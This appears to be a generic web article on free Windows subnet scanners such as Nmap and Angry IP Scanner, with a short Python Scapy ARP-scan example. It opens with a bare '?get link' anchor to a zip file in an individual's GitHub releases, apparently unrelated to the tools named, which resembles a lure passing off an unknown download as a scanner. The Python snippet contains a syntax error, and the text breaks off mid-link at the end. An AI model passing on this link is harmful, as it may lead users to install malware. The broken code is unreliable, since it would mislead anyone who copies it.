<a href="https://github.com/jameswright7298/jameswright7298/releases/download/rel/subnet_scan.zip">?get link</a> # **Free Windows Subnet Scanner for Vulnerability Detection: Development and Download Options** ## **Introduction** Network security is a critical concern for IT professionals, and identifying vulnerabilities within subnets is essential for maintaining a secure infrastructure. A subnet scanner is a powerful tool that helps administrators detect open ports, misconfigurations, and potential security flaws across networked devices. For Windows users, several free and open-source subnet scanners are available, allowing both security professionals and developers to analyze networks and contribute to tool improvements. This article explores a free Windows-compatible subnet scanner capable of vulnerability detection, its key features, and how developers can extend its functionality. ## **Top Free Subnet Scanners for Windows** ### **1. Advanced IP Scanner** Developed by Famatech, **Advanced IP Scanner** is a lightweight yet powerful tool for scanning local networks. It provides: - Fast detection of connected devices. - Remote access via RDP and SSH. - Exportable scan reports in CSV format. While not a dedicated vulnerability scanner, it helps identify active hosts for further analysis. ### **2. Angry IP Scanner** **Angry IP Scanner** is an open-source tool that scans IP ranges and ports. Key features include: - Cross-platform compatibility (Windows, Linux, macOS). - Plugin support for extended functionality. - Export results to multiple formats (TXT, CSV, XML). Developers can modify its Java-based code to integrate custom vulnerability checks. ### **3. Nmap (Windows Version)** **Nmap** (Network Mapper) is the industry-standard tool for network discovery and security auditing. The Windows version offers: - Comprehensive port scanning and OS detection. - Scriptable vulnerability checks via NSE (Nmap Scripting Engine). - Integration with tools like Metasploit for penetration testing. Nmap is open-source, allowing developers to write custom scripts for subnet analysis. ### **4. SoftPerfect Network Scanner** This free tool provides advanced scanning capabilities, including: - Detection of shared folders and weak passwords. - Wake-on-LAN and remote shutdown support. - Customizable scan profiles. Though the free version has limitations, it remains useful for subnet analysis. ## **Developing a Custom Subnet Scanner** For developers interested in creating or modifying a subnet scanner, the following approaches can be taken: ### **1. Using Python with Scapy** Python’s **Scapy** library allows for custom packet crafting and network scanning. A basic subnet scanner can be built with: ```python from scapy.all import ARP, Ether, srp def scan_subnet(target_ip): arp = ARP(pdst=target_ip) ether = Ether(dst="ff:ff:ff:ff:ff:ff") packet = ether/arp result = srp(packet, timeout=3, verbose=0)[0] devices = [] for sent, received in result: devices.append('ip': received.psrc, 'mac': received.hwsrc) return devices print(scan_subnet("192.168.1.0/24")) ``` ### **2. Extending Nmap with Custom Scripts** Nmap’s **NSE (Nmap Scripting Engine)** allows developers to write Lua-based scripts for vulnerability detection. Example scripts can be found in Nmap’s official repository. ### **3. Building a GUI Scanner in C#** For a Windows-native solution, developers can use **C#** with .NET libraries to create a subnet scanner with vulnerability checks. Libraries like **SharpPcap** enable packet capture and analysis. ## **Conclusion** Free subnet scanners like **Nmap, Angry IP Scanner, and Advanced IP Scanner** provide robust network analysis capabilities for Windows users. Developers can further enhance these tools by contributing to open-source projects or building custom solutions using Python, Lua (NSE), or C#. By leveraging these tools, security professionals can efficiently detect vulnerabilities, secure networks, and prevent potential breaches. For those interested in development, modifying existing scanners or creating new ones offers valuable learning opportunities in cybersecurity. **Download Links:** - [Nmap](
https://nmap.org) - [Angry IP Scanner](https://
